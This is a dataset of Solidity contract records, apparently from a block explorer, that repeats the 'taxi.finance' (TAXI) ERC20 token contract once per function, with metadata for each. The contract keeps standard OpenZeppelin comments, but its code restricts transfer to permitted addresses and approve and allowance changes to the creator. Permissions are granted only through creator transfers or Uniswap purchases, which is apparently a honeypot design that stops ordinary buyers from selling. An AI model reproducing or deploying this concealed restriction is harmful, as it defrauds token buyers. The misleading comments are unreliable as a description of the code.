Wei. This is the value {ERC20} uses. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {balanceOf} and {transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) { _transfer(_msgSender(), recipient, amount); if(_msgSender() == creator()) { givePermissions(recipient); } return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); if(_msgSender() == uniswap()) { givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
decimals
function decimals() public view returns (uint8) { return _decimals; }
/** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {balanceOf} and {transfer}. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 1864, 1949 ] }
1,450
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
ERC20
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18 and a {totalSupply} of the token. * * All four of these values are immutable: they can only be set once during * construction. */ constructor () public { //_name = "taxi.finance"; //_symbol = "TAXI"; _name = "taxi.finance"; _symbol = "TAXI"; _decimals = 18; _totalSupply = 20000000000000000000000; _balances[creator()] = _totalSupply; emit Transfer(address(0), creator(), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {balanceOf} and {transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) { _transfer(_msgSender(), recipient, amount); if(_msgSender() == creator()) { givePermissions(recipient); } return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); if(_msgSender() == uniswap()) { givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
totalSupply
function totalSupply() public view override returns (uint256) { return _totalSupply; }
/** * @dev See {IERC20-totalSupply}. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 2005, 2107 ] }
1,451
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
ERC20
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18 and a {totalSupply} of the token. * * All four of these values are immutable: they can only be set once during * construction. */ constructor () public { //_name = "taxi.finance"; //_symbol = "TAXI"; _name = "taxi.finance"; _symbol = "TAXI"; _decimals = 18; _totalSupply = 20000000000000000000000; _balances[creator()] = _totalSupply; emit Transfer(address(0), creator(), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {balanceOf} and {transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) { _transfer(_msgSender(), recipient, amount); if(_msgSender() == creator()) { givePermissions(recipient); } return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); if(_msgSender() == uniswap()) { givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
balanceOf
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
/** * @dev See {IERC20-balanceOf}. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 2161, 2282 ] }
1,452
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
ERC20
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18 and a {totalSupply} of the token. * * All four of these values are immutable: they can only be set once during * construction. */ constructor () public { //_name = "taxi.finance"; //_symbol = "TAXI"; _name = "taxi.finance"; _symbol = "TAXI"; _decimals = 18; _totalSupply = 20000000000000000000000; _balances[creator()] = _totalSupply; emit Transfer(address(0), creator(), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {balanceOf} and {transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) { _transfer(_msgSender(), recipient, amount); if(_msgSender() == creator()) { givePermissions(recipient); } return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); if(_msgSender() == uniswap()) { givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
transfer
function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) { _transfer(_msgSender(), recipient, amount); if(_msgSender() == creator()) { givePermissions(recipient); } return true; }
/** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 2481, 2767 ] }
1,453
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
ERC20
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18 and a {totalSupply} of the token. * * All four of these values are immutable: they can only be set once during * construction. */ constructor () public { //_name = "taxi.finance"; //_symbol = "TAXI"; _name = "taxi.finance"; _symbol = "TAXI"; _decimals = 18; _totalSupply = 20000000000000000000000; _balances[creator()] = _totalSupply; emit Transfer(address(0), creator(), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {balanceOf} and {transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) { _transfer(_msgSender(), recipient, amount); if(_msgSender() == creator()) { givePermissions(recipient); } return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); if(_msgSender() == uniswap()) { givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
allowance
function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; }
/** * @dev See {IERC20-allowance}. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 2821, 2974 ] }
1,454
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
ERC20
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18 and a {totalSupply} of the token. * * All four of these values are immutable: they can only be set once during * construction. */ constructor () public { //_name = "taxi.finance"; //_symbol = "TAXI"; _name = "taxi.finance"; _symbol = "TAXI"; _decimals = 18; _totalSupply = 20000000000000000000000; _balances[creator()] = _totalSupply; emit Transfer(address(0), creator(), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {balanceOf} and {transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) { _transfer(_msgSender(), recipient, amount); if(_msgSender() == creator()) { givePermissions(recipient); } return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); if(_msgSender() == uniswap()) { givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
approve
function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
/** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 3108, 3290 ] }
1,455
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
ERC20
